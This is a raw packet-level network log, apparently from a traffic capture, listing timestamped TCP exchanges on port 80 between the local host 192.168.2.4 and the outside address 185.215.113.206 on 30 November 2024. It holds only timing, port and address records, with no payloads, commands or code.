Nov 30, 2024 09:44:23.158799887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.158823967 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.160795927 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.160808086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.160845041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.162847042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.162879944 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.162915945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.164891958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.164905071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.164948940 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.166934967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.166945934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.166954994 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.166987896 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.166997910 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.168976068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.168987036 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.169029951 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.171037912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.171052933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.171113968 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.173103094 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.173115015 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.173163891 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.175152063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.175164938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.175175905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.175211906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.175240993 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.177216053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.177228928 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.177275896 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.179231882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.179244041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.179284096 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.181294918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.181310892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.181346893 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.181359053 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.183362007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.183393955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.183442116 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.185376883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.185388088 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.185398102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.185429096 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.185457945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.187422991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.187433958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.187475920 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.189462900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.189477921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.189512014 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.189537048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.191509962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.191520929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.191564083 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.193530083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.193578005 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.194566965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.194578886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.194587946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.194617987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.194648981 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.196609974 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.196630955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.196672916 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.198746920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.198759079 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.198816061 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.198827028 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.200728893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.200742006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.200773954 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.200790882 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.202764034 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.202779055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.202790022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.202821016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.202840090 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.204838037 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.204850912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.204886913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.204899073 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.206850052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.206872940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.206909895 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.206926107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.208914042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.208925962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.208970070 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.208991051 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.210978985 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.210992098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.211029053 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.213015079 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.213027954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.213038921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.213068008 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.213095903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.215085030 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.215096951 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.215157032 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.217102051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.217113018 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.217163086 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.219171047 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.219182968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.219227076 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.221195936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.221209049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.221219063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.221251011 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.221263885 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.223253012 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.223264933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.223315954 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.223325014 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.225330114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.225342035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.225395918 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.225425005 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.227358103 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.227370024 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.227408886 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.227425098 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.229414940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.229428053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.229441881 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.229470968 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.229494095 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.231426001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.231437922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.231487989 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.233483076 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.233494997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.233532906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.235554934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.235568047 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.235614061 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.237592936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.237606049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.237698078 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.239571095 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.239732027 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.239742041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.239752054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.239803076 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.239814043 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.241765022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.241776943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.241825104 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.297593117 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.417470932 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.751563072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.751627922 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.751969099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.752032995 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.752645969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.752695084 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.752892971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.752948046 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.753613949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.753663063 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.754375935 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.754385948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.754420042 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.754432917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.755379915 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.755389929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.755429029 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.756851912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.756861925 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.756897926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.758388042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.758397102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.758436918 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.759969950 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.759979963 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.760010004 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.761269093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.761280060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.761317015 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.762739897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.762765884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.762804985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.764389992 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.764401913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.764441013 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.766007900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.766017914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.766067028 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.767661095 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.767671108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.767714977 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.767756939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.769300938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.769311905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.769325972 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.769354105 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.769378901 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.770977974 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.770988941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.771037102 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.773422956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.773449898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.773493052 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.774233103 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.774246931 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.774286985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.774317980 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.775815964 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.775834084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.775842905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.775863886 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.775891066 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.779186964 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.779200077 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.779242039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.780771971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.780783892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.780814886 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.780847073 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.782421112 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.782430887 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.782473087 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.784094095 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.784121990 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.784176111 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.785650015 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.785662889 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.785706043 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.787280083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.787300110 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.787328005 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.787374973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.788925886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.788937092 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.788944960 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.788981915 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.789012909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.790602922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.790616035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.790647030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.790674925 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.884043932 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.884115934 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.884414911 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.884468079 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.885209084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.885220051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.885260105 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.888114929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.888124943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.888158083 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.888216019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.889589071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.889600039 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.889638901 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.891050100 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.891061068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.891104937 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.891149044 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.892551899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.892561913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.892594099 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.892605066 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.894181967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.894192934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.894232988 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.895838022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.895850897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.895890951 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.897444010 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.897464991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.897496939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.897522926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.899096966 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.899106979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.899143934 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.900698900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.900727987 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.900753975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.900794983 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.902383089 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.902394056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.902427912 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.902437925 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.904104948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.904155016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.905654907 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.905668020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.905694962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.905725002 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.907279015 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.907289028 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.907326937 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.908905029 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.908925056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.908953905 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.908978939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.910583019 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.910594940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.910634995 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.912214041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.912240028 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.912249088 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.912271976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.912286997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.913816929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.913836956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.913865089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.913897991 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.917114019 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.917124987 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.917155981 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.918719053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.918736935 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.918761969 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.918790102 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.920378923 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.920391083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.920407057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.920428038 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.920454025 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.922024012 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.922035933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.922070026 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.922089100 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.923676968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.923686981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.923727989 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.925303936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.925318956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.925350904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.925376892 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.926935911 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:23.926976919 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:23.928585052 CET	80	49749	185.215.113.206	192.168.2.4
